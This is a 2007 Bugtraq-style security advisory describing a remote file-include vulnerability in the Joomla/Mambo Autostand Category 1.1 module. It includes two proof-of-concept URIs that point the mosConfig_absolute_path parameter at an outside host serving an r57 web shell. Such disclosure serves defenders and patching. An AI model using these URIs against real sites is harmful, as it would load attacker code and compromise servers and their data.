Joomla/Mambo Autostand Category Module MosConfig_Absolute_Path Remote File Include Vulnerability

Bugtraq ID:	23490
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 14 2007 12:00AM
Updated:	Apr 16 2007 06:21PM
Credit:	Cold z3ro is credited with the discovery of this vulnerability.
Vulnerable:	Autostand Category Autostand Category 1.1
Not Vulnerable:

Joomla/Mambo Autostand Category Module MosConfig_Absolute_Path Remote File Include Vulnerability

Autostand Category is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Autostand Category 1.1; other versions may also be vulnerable.

Joomla/Mambo Autostand Category Module MosConfig_Absolute_Path Remote File Include Vulnerability

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/modules/mod_as_category/mod_as_category.php?mosConfig_absolute_path=http://www.example2.com/r57.txt?
http://www.example.com/modules/mod_as_category.php?mosConfig_absolute_path=http://www.example2.com/r57.txt?

Joomla/Mambo Autostand Category Module MosConfig_Absolute_Path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Joomla/Mambo Autostand Category Module MosConfig_Absolute_Path Remote File Include Vulnerability

References:

• Autostand Category Product Page (Autostand Category)